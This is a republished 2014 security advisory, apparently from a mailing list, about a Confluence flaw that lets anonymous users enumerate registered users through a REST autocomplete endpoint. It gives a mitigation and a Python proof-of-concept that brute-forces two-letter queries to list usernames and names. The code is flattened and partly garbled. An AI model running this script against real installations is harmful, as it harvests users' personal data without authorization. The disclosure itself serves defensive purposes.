Atlassian Confluence - Sensitive Information Leakage

发布时间:2014-10-22 12:07:11编辑 分享查询网我要评论
本篇文章主要介绍了"Atlassian Confluence - Sensitive Information Leakage",主要涉及到Atlassian Confluence - Sensitive Information Leakage方面的内容,对于Atlassian Confluence - Sensitive Information Leakage感兴趣的同学可以参考一下。

Hello list, Since vendor does not seem to care about this issue more than a year after initial report (, I think that is time to share this issue. ------------------------- Affected products: ------------------------- Atlassian Confluence 3.x and 4.x (including hosted versions on Atlassian Cloud) ------------------------- Details: ------------------------- WASC-13 - Information Leakage : When using search engine on "http(s)://confluence-installation/dosearchsite.action" any user can list wiki registered users via the "BY :" section of the form. If user has no access to registered user profile (for instance anonymous user), information about the user are still displayed on quick search autocomplete via the '/rest/prototype/1/search/user.json?' URI . Eeven if 'View User Profiles' is disabled in Confluence Admin > Global Permissions > Anonymous Access, informations are still leaked. WASC-21 - Insufficient Anti-automation : Quick search autocomplete is performed via a javascript call without any token verification or anti-bruteforce protection. Since only two characters are needed, it is really easy to bruteforce all registered users. ------------------------- Mitigation: ------------------------- Vendor does not provide any patch and privacy options on Confluence admin is not helping mitigating this issue. In order to mitigate exploitation of this issue for on-premise installations, best solution should be to deny access to '/rest/prototype/1/search/user.json?' to untrusted networks like Internet. Users of hosted versions on Atlassian Cloud are left without any solutions at the moment. ------------------------- Proof of concept: ------------------------- The following python code will list all registered users of a Confluence installation : #!/usr/bin/env python import httplib, json, sys, re if ("^https://";, sys.argv[1].lower()) == None): httpconnection = httplib.HTTPConnection(re.split("^http://";, sys.argv[1].lower())[1]) else: httpconnection = httplib.HTTPSConnection(re.split("^https://";, sys.argv[1].lower())[1]) for i in map(chr, range(97, 123)): for j in map(chr, range(97, 123)): httpconnection.request('GET', '/rest/prototype/1/search/user.json?query=' + i + j) results = json.loads(httpconnection.getresponse().read()) for k in range(0,results['totalSize']): try: username = results['result'][k]['username'] except: username = None try: title = results['result'][k]['title'] except: title = None try: date = results['result'][k]['createdDate']['friendly'] except: date = None if (username != None): try: print "login:%s - name:%s - creation_date:%s" % (username,title,date) except: pass

下一篇:计算机原理学习(2)-- 存储器和I/O设备和总线